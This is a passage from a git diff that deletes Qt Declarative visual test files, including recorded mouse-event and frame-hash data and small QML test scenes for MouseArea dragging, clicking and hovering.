"194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13312 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13328 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13344 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13360 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13376 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13392 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13408 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13424 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13440 - image: "mouseregion.13.png" - } - Frame { - msec: 13456 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13472 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13488 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13504 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13520 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13536 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13552 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13568 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13584 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13600 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13616 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13632 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 2 - buttons: 2 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13648 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13664 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13680 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13696 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13712 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13728 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13744 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13760 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13776 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13792 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13808 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 4 - button: 2 - buttons: 2 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13824 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13840 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13856 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13872 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13888 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13904 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 141; y: 71 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 13920 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13936 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13952 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13968 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 13984 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14000 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14016 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14032 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14048 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14064 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14080 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14096 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14112 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14128 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14144 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14160 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14176 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 141; y: 70 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 148; y: 68 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14192 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 152; y: 68 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 158; y: 68 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14208 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 164; y: 68 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14224 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 171; y: 66 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 187; y: 62 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 205; y: 60 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14240 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 223; y: 56 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14256 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 239; y: 52 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 255; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14272 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 269; y: 40 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 285; y: 34 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14288 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 299; y: 28 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 313; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14304 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 320; y: 18 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 326; y: 15 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14320 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 340; y: 7 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 14336 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14352 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14368 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14384 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14400 - image: "mouseregion.14.png" - } - Frame { - msec: 14416 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14432 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14448 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14464 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14480 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14496 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14512 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14528 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14544 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14560 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14576 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14592 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14608 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14624 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14640 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14656 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14672 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14688 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14704 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14720 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14736 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14752 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14768 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14784 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14800 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14816 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14832 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14848 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14864 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14880 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14896 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14912 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 14928 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/drag.qml b/tests/auto/declarative/visual/qdeclarativemouseregion/drag.qml deleted file mode 100644 index dbb2a24..0000000 --- a/tests/auto/declarative/visual/qdeclarativemouseregion/drag.qml +++ /dev/null @@ -1,21 +0,0 @@ -import Qt 4.6 - -Rectangle{ - width:400 - height:440 - color: "white" - Rectangle{ - id: draggable - width:40; height:40; color: "lightsteelblue" - y:20 - MouseArea{ - anchors.fill: parent - drag.target: draggable - drag.axis: "XandYAxis" - drag.minimumX: 0 - drag.maximumX: 360 - drag.minimumY: 20 - drag.maximumY: 400 - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/mouseregion.qml b/tests/auto/declarative/visual/qdeclarativemouseregion/mouseregion.qml deleted file mode 100644 index 3c722d0..0000000 --- a/tests/auto/declarative/visual/qdeclarativemouseregion/mouseregion.qml +++ /dev/null @@ -1,124 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: root - width: 400 - height: 100 - - // Left click on me - Rectangle { - width: 98; height: 48 - color: "red" - MouseArea { - id: mr1 - anchors.fill: parent - enabled: false - onClicked: { parent.color = "blue"; root.error = "mr1 should ignore presses"; } - } - } - - // Left click, then right click - Rectangle { - x: 100 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr2 - anchors.fill: parent - acceptedButtons: Qt.RightButton - onClicked: { - if (mouse.button == Qt.RightButton) { - parent.color = "blue"; - } else { - parent.color = "green"; - root.error = "mr1 should ignore presses"; - } - } - } - } - - // press and hold me - Rectangle { - x: 200 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr3 - anchors.fill: parent - onPressAndHold: { - parent.color = "blue"; - } - } - } - - // click me - Rectangle { - x: 300 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr4 - anchors.fill: parent - onPressed: { - parent.color = "blue"; - } - onReleased: { - parent.color = "red"; - } - } - } - - // move into and out of me - Rectangle { - x: 0 - y: 50 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr5 - anchors.fill: parent - hoverEnabled: true - onEntered: { - parent.color = "blue"; - } - onExited: { - parent.color = "green"; - } - } - } - - // click, then double click me - Rectangle { - x: 100 - y: 50 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr6 - anchors.fill: parent - onClicked: { - parent.color = "blue"; - } - onDoubleClicked: { - parent.color = "green"; - } - } - } - - // click, then double click me - nothing should happen - Rectangle { - x: 100 - y: 50 - width: 98; height: 48 - color: "red" - MouseArea { - id: mr7 - anchors.fill: parent - enabled: false - onClicked: { parent.color = "blue" } - onPressed: { parent.color = "yellow" } - onReleased: { parent.color = "cyan" } - onDoubleClicked: { parent.color = "green" } - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.0.png b/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.0.png deleted file mode 100644 index 7321d95..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.1.png b/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.1.png deleted file mode 100644 index 49d2a5a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.2.png b/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.2.png deleted file mode 100644 index 6fe14b7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.qml b/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.qml deleted file mode 100644 index d766dc6..0000000 --- a/tests/auto/declarative/visual/qdeclarativeparticles/data/particles.qml +++ /dev/null @@ -1,775 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "b4df49cbd7cf972af9879399808f6c53" - } - Frame { - msec: 32 - hash: "43c0ad5826e8058260951f063f0851ab" - } - Frame { - msec: 48 - hash: "55eb2c9939514338e7ef58c9276fc223" - } - Frame { - msec: 64 - hash: "6a1bbb91bf450547d6100b6e61a98f6d" - } - Frame { - msec: 80 - hash: "bdb9b8cab70c72d99aba830eb8e8913b" - } - Frame { - msec: 96 - hash: "71a0e046bc68183b830df9dafd8fa147" - } - Frame { - msec: 112 - hash: "e7228e0ed77e05c661282c2d2fe88b3e" - } - Frame { - msec: 128 - hash: "93a4c3e501b05844f687a2dd1754aad2" - } - Frame { - msec: 144 - hash: "1856ac86313c16bf4874130d9a48ff45" - } - Frame { - msec: 160 - hash: "3637d8dad4f44c938f91b0800bd9fb2f" - } - Frame { - msec: 176 - hash: "c5ace4ede38d29363d69c6b4b2f9349f" - } - Frame { - msec: 192 - hash: "a5d832d02f4a635052817654df90caba" - } - Frame { - msec: 208 - hash: "9ebf8bea8abe7ac209d47214a87f8fc0" - } - Frame { - msec: 224 - hash: "35b8f5cb18284867be8d27d601394a2b" - } - Frame { - msec: 240 - hash: "a2c4a6063f219af6f2b29b2d21a4265d" - } - Frame { - msec: 256 - hash: "27f25ace7b8e93c55638ed99f49b821c" - } - Frame { - msec: 272 - hash: "4f6511bfbbd8113195a7597eb6dfb219" - } - Frame { - msec: 288 - hash: "6a696159cdbb51a67064c600124535d1" - } - Frame { - msec: 304 - hash: "6cd667eb352256dbb728532634e7ffd0" - } - Frame { - msec: 320 - hash: "28fa16c8936bf86a8426ded306aa2b8c" - } - Frame { - msec: 336 - hash: "061fecdb88733e3e51c5823571bc4d19" - } - Frame { - msec: 352 - hash: "f64530f638b3d18d56593e0b7c884f5d" - } - Frame { - msec: 368 - hash: "8530cf40739890dc7401fad65a6325bf" - } - Frame { - msec: 384 - hash: "0abc555552e7256dbc424b2eac5c95f2" - } - Frame { - msec: 400 - hash: "64aeae59a8c958dfc62d92636b2f5217" - } - Frame { - msec: 416 - hash: "3e0f50f5bee017220b129d06b2acde2c" - } - Frame { - msec: 432 - hash: "e676c01ff2e35bdfe674be67d49945b1" - } - Frame { - msec: 448 - hash: "bc060b480aab94fd440fd27f5beb7383" - } - Frame { - msec: 464 - hash: "79c79f723de72315e63da8a7cbe1b425" - } - Frame { - msec: 480 - hash: "7bf93c2697af75d0f862a47d57cd6a7f" - } - Frame { - msec: 496 - hash: "7641b9e233f4aabd99bcd985ce1d51ae" - } - Frame { - msec: 512 - hash: "b596a28cb67617d37408bd25d947d088" - } - Frame { - msec: 528 - hash: "f2c5cdf15c27b05c0ea97675ddc41757" - } - Frame { - msec: 544 - hash: "eae5eb8c41a1d6d75446618518490f20" - } - Frame { - msec: 560 - hash: "0be5e9a6d857fe1a262524801c69490d" - } - Frame { - msec: 576 - hash: "65478b8c4d932c10924f70462a662254" - } - Frame { - msec: 592 - hash: "7b034f3c98e8eb38eec11cf3c2aa0804" - } - Frame { - msec: 608 - hash: "5bbc8eed41500ccbc820cfb38794232f" - } - Frame { - msec: 624 - hash: "1b39d555ca8932b40efd769c4ba74d3f" - } - Frame { - msec: 640 - hash: "f9a38e12becbce400191e22f1d22427c" - } - Frame { - msec: 656 - hash: "cbc27c72517d76edfc2d3692cd83f151" - } - Frame { - msec: 672 - hash: "4a883a5aed05f0bbcefcefea6ef56df6" - } - Frame { - msec: 688 - hash: "7a30ea30c0619c87c96bcaba916c64df" - } - Frame { - msec: 704 - hash: "33cd0797b6d229592ed53117fcaaa898" - } - Frame { - msec: 720 - hash: "21178ef9366c8a65ecb9e21d584573b0" - } - Frame { - msec: 736 - hash: "fe75beac8681fdac8a2b79c9c7267128" - } - Frame { - msec: 752 - hash: "df26a23d394e053417de86309683c5e0" - } - Frame { - msec: 768 - hash: "411594a1ed7c351cb872e0a6f3081b1b" - } - Frame { - msec: 784 - hash: "b4b639f204cfed9e1fec872e4de115c2" - } - Frame { - msec: 800 - hash: "4d801e2f4848399c011d60264720b912" - } - Frame { - msec: 816 - hash: "4f28c7b154853ff78cdefb5a5ac9d2b7" - } - Frame { - msec: 832 - hash: "cc6d4283b0d7bf9f579637575d5e1fef" - } - Frame { - msec: 848 - hash: "8edc371d23d01be547990074b5e640af" - } - Frame { - msec: 864 - hash: "874845d7178e6cd8369f21379060f561" - } - Frame { - msec: 880 - hash: "98fb6d79990775385603fb1a50ab5186" - } - Frame { - msec: 896 - hash: "d15539efc27baabb5a74f464b152d266" - } - Frame { - msec: 912 - hash: "fc44d091d6689e8870162a6d29b6d287" - } - Frame { - msec: 928 - hash: "a3c964f4bf524e22092b1650df43375a" - } - Frame { - msec: 944 - hash: "ca203fd630ec1eadea37cf36bd30ba40" - } - Frame { - msec: 960 - image: "particles.0.png" - } - Frame { - msec: 976 - hash: "2e0630818c04fc6c259eec8561c645cd" - } - Frame { - msec: 992 - hash: "a7b1f6305ddcf4a338e1a96ea31a5341" - } - Frame { - msec: 1008 - hash: "23a5013a8f9407d06ac6fd0c1e961743" - } - Frame { - msec: 1024 - hash: "9de73decddaab4269bd33efdb21278a3" - } - Frame { - msec: 1040 - hash: "7582c26b45dd11c262f51b387af89cb2" - } - Frame { - msec: 1056 - hash: "650e0d395f1d1f2ddda8711089d85511" - } - Frame { - msec: 1072 - hash: "9ff84e81219aa6bb7ab534b2a47a3930" - } - Frame { - msec: 1088 - hash: "11e255273e8ca4716047fb52636f0c3e" - } - Frame { - msec: 1104 - hash: "b2fcbefd13db3c765183b1eefc2ca0bc" - } - Frame { - msec: 1120 - hash: "7150aff523c0d480702f6a326699cb65" - } - Frame { - msec: 1136 - hash: "63886c15107a2a7d639069cd81c3cd07" - } - Frame { - msec: 1152 - hash: "1ec1fc30bbb5f43a1d6d36bce345f569" - } - Frame { - msec: 1168 - hash: "34060cbc31ce1fbf406cbb595312c609" - } - Frame { - msec: 1184 - hash: "6f3a04c7f411785956e640aa630f7ac4" - } - Frame { - msec: 1200 - hash: "d7bdb7e170b6f193eaf4b07c01b4dc6b" - } - Frame { - msec: 1216 - hash: "6ca02c0d9cfeb4b1932f7ad1feac9850" - } - Frame { - msec: 1232 - hash: "d446c7b185361de5c615a17ac1fee607" - } - Frame { - msec: 1248 - hash: "bc2faf5b7b2972f155954e4e685e80ae" - } - Frame { - msec: 1264 - hash: "2bf26cedc76aea4a6d9744b7dd935db8" - } - Frame { - msec: 1280 - hash: "accbee9d0f8cf73ef72aa7bfb49b3fa5" - } - Frame { - msec: 1296 - hash: "933eb2e46f42e212bdfc515d30f663d3" - } - Frame { - msec: 1312 - hash: "7495318c893dbb22771b53e93c7614e8" - } - Frame { - msec: 1328 - hash: "894fe23c1b3543451293c047b640c4bb" - } - Frame { - msec: 1344 - hash: "9b7179ef059ee82ca4a383f536f47a42" - } - Frame { - msec: 1360 - hash: "5ec1a5bfac2473efdcad7dba0da4015c" - } - Frame { - msec: 1376 - hash: "2bd64528e83260a80e7f2843e2c34a19" - } - Frame { - msec: 1392 - hash: "16bf64a9bf6b4bc09b108c65d074b5f2" - } - Frame { - msec: 1408 - hash: "c33eaa717ba63655f375499058b1be55" - } - Frame { - msec: 1424 - hash: "d080f4591f9fd59745bf850525590849" - } - Frame { - msec: 1440 - hash: "921585c88ec133c83c07650745bb4441" - } - Frame { - msec: 1456 - hash: "f037b28137b22a0c91fc71fc6626475a" - } - Frame { - msec: 1472 - hash: "e10b3c432a230d5509c2fa7df48b56c9" - } - Frame { - msec: 1488 - hash: "ac02c7b7e68ee8cfad1fe556020e93d8" - } - Frame { - msec: 1504 - hash: "12d59e70dedfa0c741afed9b98cb9a3a" - } - Frame { - msec: 1520 - hash: "a9aa635ccde26829d7e1cdc29fcce8d1" - } - Frame { - msec: 1536 - hash: "f571b3da827b884ad036dade8ad2fe37" - } - Frame { - msec: 1552 - hash: "1ffa8d7512e9001cbc78b28451133b44" - } - Frame { - msec: 1568 - hash: "2ef4b10f2eafd71dfde15f7f00e923c6" - } - Frame { - msec: 1584 - hash: "09b3bc232a134eae5ae14c0336f508ba" - } - Frame { - msec: 1600 - hash: "ebadb5c6b4986c865f7f8ef232680b7e" - } - Frame { - msec: 1616 - hash: "26621991073510e9a95e3b208e3ee56e" - } - Frame { - msec: 1632 - hash: "f18e97f13c06f3c5368edf851f19f401" - } - Frame { - msec: 1648 - hash: "3c322dbbf5ecfe1de56595dcb7d949e1" - } - Frame { - msec: 1664 - hash: "50058d1bb992a6d0601c9d5490149936" - } - Frame { - msec: 1680 - hash: "4cc78f56f13478ec21a4a0d6b22f956b" - } - Frame { - msec: 1696 - hash: "d765cd86560dff3faa5a3c902512c74c" - } - Frame { - msec: 1712 - hash: "ad983068c2149b0c06da3b89a5d94d24" - } - Frame { - msec: 1728 - hash: "e6da7260001771fc00c472bccae641fe" - } - Frame { - msec: 1744 - hash: "71778ad8a61ecb0f78f7234ecf0d1d97" - } - Frame { - msec: 1760 - hash: "6b2209ea5f7f17c2cd868986f0c907d9" - } - Frame { - msec: 1776 - hash: "6513c82829ef7e7c9461dcf5b50f675f" - } - Frame { - msec: 1792 - hash: "0172c5bdf96c8bceab25a6c82bdbe527" - } - Frame { - msec: 1808 - hash: "64b53bf1c1988d3a799b564089f8e63f" - } - Frame { - msec: 1824 - hash: "a1bdea4771ec9719cfe88f4e827bd005" - } - Frame { - msec: 1840 - hash: "263de376cee2ba7701a7ca116bc1be81" - } - Frame { - msec: 1856 - hash: "9795dada7f09d7d4d40df858dea8bc70" - } - Frame { - msec: 1872 - hash: "85ea4c63fc31f79423cb509f6c6d4faa" - } - Frame { - msec: 1888 - hash: "c86d8c4460d1e3c2f26b723dc628fe84" - } - Frame { - msec: 1904 - hash: "6bf6ef1fd377bfcf0b93baa7f28e1d3d" - } - Frame { - msec: 1920 - image: "particles.1.png" - } - Frame { - msec: 1936 - hash: "57b8a48bed9375b74391950c28e611da" - } - Frame { - msec: 1952 - hash: "70203655bc832998529071d7f665ecbe" - } - Frame { - msec: 1968 - hash: "9ab9808d495f907a255d85fbd82491e2" - } - Frame { - msec: 1984 - hash: "297570136b058ba43e883b0aef20d82f" - } - Frame { - msec: 2000 - hash: "0c2f15ce83e2d961ec36299b13890709" - } - Frame { - msec: 2016 - hash: "6d57b6dcb1dbfa35245d79ef36ca49b2" - } - Frame { - msec: 2032 - hash: "12a71804fd71991706d8a39b676d1628" - } - Frame { - msec: 2048 - hash: "f6a9e1b0b498fc576f3eadeb86c08fe9" - } - Frame { - msec: 2064 - hash: "051c2ed34cbef82d44aec4841a33f086" - } - Frame { - msec: 2080 - hash: "12b89590b20fff8d6c94dde40a5d6185" - } - Frame { - msec: 2096 - hash: "7a29cd11ddb042203465a9522ff951ce" - } - Frame { - msec: 2112 - hash: "4853f364261ab8e1c9d35cfe42efb385" - } - Frame { - msec: 2128 - hash: "7149ab3ed649cac9cf662be7c434056f" - } - Frame { - msec: 2144 - hash: "bbe199700474dda156355d31ac09be39" - } - Frame { - msec: 2160 - hash: "a3f3fbbe844b8c6fb8cb8bbcc17120e3" - } - Frame { - msec: 2176 - hash: "e9a04cfe9e8c50f74978fbd4ecce536a" - } - Frame { - msec: 2192 - hash: "0df1d4211f770cdd7b8a98ea476c6f42" - } - Frame { - msec: 2208 - hash: "a6837afb43663b9473db2378b1a9f989" - } - Frame { - msec: 2224 - hash: "691ea67f3b84b8dda449c2a8e86b1087" - } - Frame { - msec: 2240 - hash: "16d18947637c63662b9a502c493f06ec" - } - Frame { - msec: 2256 - hash: "8f9207d404da08706e150f3b64d0088d" - } - Frame { - msec: 2272 - hash: "48ad430e38cdc34845a834cfb9ea70ef" - } - Frame { - msec: 2288 - hash: "1252cfb294ae99c40b03dd021160553f" - } - Frame { - msec: 2304 - hash: "b1d5e752fbe03c95ee0dc7bbdf6fb9f6" - } - Frame { - msec: 2320 - hash: "2282cb42ef0c812ba27e33ed0f962a84" - } - Frame { - msec: 2336 - hash: "42fc82c8d40d383b3cf31a741a4358c5" - } - Frame { - msec: 2352 - hash: "368c1ffa2deb1911929f1769e31c8017" - } - Frame { - msec: 2368 - hash: "8693bdbde404e36970943ac6b650ca00" - } - Frame { - msec: 2384 - hash: "57609613c336029b60da428d48842a4e" - } - Frame { - msec: 2400 - hash: "b61dafe9e87421d3fcf8cb9ff0e7a41b" - } - Frame { - msec: 2416 - hash: "c8c34d1d82bef418ef97f52cb9773cf4" - } - Frame { - msec: 2432 - hash: "aa756c09717dc02e81e76511b4c58f60" - } - Frame { - msec: 2448 - hash: "96e75c5ce1b5393f6cc46fbbe0a67689" - } - Frame { - msec: 2464 - hash: "fb5febae411f43a6cd218b03b36f5018" - } - Frame { - msec: 2480 - hash: "889870fa67784261e7b73b7d0a53324e" - } - Frame { - msec: 2496 - hash: "fb124d4ebee6457f2137f07954619912" - } - Frame { - msec: 2512 - hash: "258ae87f78805c555e0ed802c5123eeb" - } - Frame { - msec: 2528 - hash: "2e730872c37f118a03864d23ebf7bab3" - } - Frame { - msec: 2544 - hash: "381386302f210932bc7d44247a48f13c" - } - Frame { - msec: 2560 - hash: "306f8e6d183eb080da3375d65f2491f0" - } - Frame { - msec: 2576 - hash: "39862f236aabf362d0a07ba64eb212e1" - } - Frame { - msec: 2592 - hash: "57452ecfea80ebd4d9fd23f8efbb34f2" - } - Frame { - msec: 2608 - hash: "64bd12d4f6e32f19abef79289673c2fe" - } - Frame { - msec: 2624 - hash: "56340d636f4df7e5f68e84c1d8388429" - } - Frame { - msec: 2640 - hash: "795cd97d4be294fa6157f23793861ec3" - } - Frame { - msec: 2656 - hash: "4be9fd5314ad6721a0ddf5a5dc51ccee" - } - Frame { - msec: 2672 - hash: "3349b775c329db022bf0414b9ed57466" - } - Frame { - msec: 2688 - hash: "587b7070836063f9d138c4a4ee8da8bb" - } - Frame { - msec: 2704 - hash: "5bb078819bef7695c9af1bd4b544a26a" - } - Frame { - msec: 2720 - hash: "799c05999713e8b29f7d2917f515d2c2" - } - Frame { - msec: 2736 - hash: "41bb926661acd8e21300f4933734748a" - } - Frame { - msec: 2752 - hash: "2ead23d38a2f1834c7688a9657d9d7cc" - } - Frame { - msec: 2768 - hash: "196309eac81adea21630dda19947ef5e" - } - Frame { - msec: 2784 - hash: "cf414b2004712581f11f27890745c761" - } - Frame { - msec: 2800 - hash: "6b2a6837da878fa8f3811b2045e098b1" - } - Frame { - msec: 2816 - hash: "7390cfdef1d4bc194b86854b1947f15d" - } - Frame { - msec: 2832 - hash: "9e4543fcf65a56edfbcaf46805343071" - } - Frame { - msec: 2848 - hash: "3a886e2ed813eb7d44d0cd67eb5dee31" - } - Frame { - 